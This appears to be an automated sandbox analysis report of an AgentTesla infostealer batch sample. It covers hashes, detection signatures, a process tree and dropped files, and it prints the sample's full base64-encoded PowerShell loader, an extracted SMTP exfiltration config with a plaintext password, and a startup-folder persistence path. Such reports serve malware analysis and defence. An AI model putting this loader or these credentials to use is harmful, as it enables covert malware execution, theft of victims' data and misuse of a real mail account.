Analysis
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max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 02:14
Static task
static1
Behavioral task
behavioral1
Sample
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec.bat
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec.bat
Resource
win10v2004-20240226-en
General
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Target
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec.bat
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Size
191KB
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MD5
2effd68ca29fb310fbe40749eb566d0e
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SHA1
bb23473d4be94830371bd52afe37cb1b59609ed5
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SHA256
463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
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SHA512
994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
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SSDEEP
3072:4/IpFBvxdugvwReuVhjNCHhGHkTjV/bnHVeLYvElkMp2GMkCTH3djFoll4MPUQTZ:4/APubReSj460jhHkLYvEAP3soMPxoWV
Malware Config
Extracted
Protocol: smtp- Host:
mail.agagroup.lv - Port:
587 - Username:
[email protected] - Password:
@Aga#Group777!
Extracted
agenttesla
Protocol: smtp- Host:
mail.agagroup.lv - Port:
587 - Username:
[email protected] - Password:
@Aga#Group777! - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL -
Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.bat powershell.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 13 api.ipify.org 14 api.ipify.org 15 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4136 set thread context of 3268 4136 powershell.exe RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exepid process 3800 powershell.exe 3800 powershell.exe 4136 powershell.exe 4136 powershell.exe 3268 RegAsm.exe 3268 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 3800 powershell.exe Token: SeDebugPrivilege 4136 powershell.exe Token: SeDebugPrivilege 3268 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 4144 wrote to memory of 4868 4144 cmd.exe cmd.exe PID 4144 wrote to memory of 4868 4144 cmd.exe cmd.exe PID 4868 wrote to memory of 3800 4868 cmd.exe powershell.exe PID 4868 wrote to memory of 3800 4868 cmd.exe powershell.exe PID 4868 wrote to memory of 3800 4868 cmd.exe powershell.exe PID 4868 wrote to memory of 4136 4868 cmd.exe powershell.exe PID 4868 wrote to memory of 4136 4868 cmd.exe powershell.exe PID 4868 wrote to memory of 4136 4868 cmd.exe powershell.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe PID 4136 wrote to memory of 3268 4136 powershell.exe RegAsm.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
16KB
MD58e3dd8689afbe4c73fa5cd008f8a19ca
SHA1b19610385b247572ad7ef5db94206cc51ce7e64a
SHA256229112de6493ca44c8e7563dc666d8396a3280ef1105ddc969d1886b815ca2cf
SHA51234cecb80629c184ab1f35ea844c561f24b451059ac0fcd213a9066479b2e545ddb6a1042eaa02ddd530fdfc19e0be14c799cfb3001c93d0547fe76f2bbf1a5d4
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hww4r0hm.13v.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\chrome.batFilesize
191KB
MD52effd68ca29fb310fbe40749eb566d0e
SHA1bb23473d4be94830371bd52afe37cb1b59609ed5
SHA256463b92101e5f2912781dd6eb61374b97f14fb27b6fe05c0ef3fb734d8ef4d4ec
SHA512994de4787401c0e5ce032be67adb93c5e9aa6aa4c510ab19aa1f41a75808b927428e779f2479542465c738eff5138c94fa3cb71da6835957cfb9531f9afa12c6
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C:\Users\Admin\chrome.ps1Filesize
1KB
MD51d6288e218ce9fed4e703ef5aa2e6c08
SHA139c5fbc0b8931bab67c40dc3f45be696ea3beb90
SHA256d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6
SHA512c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c
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memory/3268-57-0x0000000006E00000-0x0000000006E0A000-memory.dmpFilesize
40KB
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memory/3268-55-0x0000000006D60000-0x0000000006DFC000-memory.dmpFilesize
624KB
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memory/3268-52-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/3268-53-0x0000000005860000-0x0000000005870000-memory.dmpFilesize
64KB
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memory/3268-49-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
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memory/3268-56-0x0000000006EA0000-0x0000000006F32000-memory.dmpFilesize
584KB
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memory/3268-58-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/3268-59-0x0000000005860000-0x0000000005870000-memory.dmpFilesize
64KB
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memory/3800-19-0x00000000066E0000-0x00000000066FE000-memory.dmpFilesize
120KB
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memory/3800-13-0x00000000061F0000-0x0000000006256000-memory.dmpFilesize
408KB
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memory/3800-26-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/3800-4-0x0000000005580000-0x0000000005590000-memory.dmpFilesize
64KB
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memory/3800-3-0x00000000032E0000-0x0000000003316000-memory.dmpFilesize
216KB
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memory/3800-22-0x0000000006BF0000-0x0000000006C0A000-memory.dmpFilesize
104KB
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memory/3800-21-0x0000000008010000-0x000000000868A000-memory.dmpFilesize
6.5MB
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memory/3800-5-0x0000000005BC0000-0x00000000061E8000-memory.dmpFilesize
6.2MB
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memory/3800-6-0x0000000005920000-0x0000000005942000-memory.dmpFilesize
136KB
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memory/3800-7-0x0000000005AC0000-0x0000000005B26000-memory.dmpFilesize
408KB
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memory/3800-20-0x0000000006710000-0x000000000675C000-memory.dmpFilesize
304KB
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memory/3800-18-0x0000000006280000-0x00000000065D4000-memory.dmpFilesize
3.3MB
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memory/3800-2-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/4136-48-0x0000000004E60000-0x0000000004E6A000-memory.dmpFilesize
40KB
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memory/4136-51-0x0000000077881000-0x00000000779A1000-memory.dmpFilesize
1.1MB
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memory/4136-46-0x0000000005ED0000-0x0000000005F34000-memory.dmpFilesize
400KB
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memory/4136-28-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/4136-54-0x0000000074E60000-0x0000000075610000-memory.dmpFilesize
7.7MB
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memory/4136-44-0x0000000007980000-0x0000000007F24000-memory.dmpFilesize
5.6MB
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memory/4136-43-0x0000000007240000-0x0000000007262000-memory.dmpFilesize
136KB
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memory/4136-42-0x00000000072B0000-0x0000000007346000-memory.dmpFilesize
600KB
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memory/4136-30-0x0000000005B50000-0x0000000005EA4000-memory.dmpFilesize
3.3MB
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memory/4136-29-0x0000000004D40000-0x0000000004D50000-memory.dmpFilesize
64KB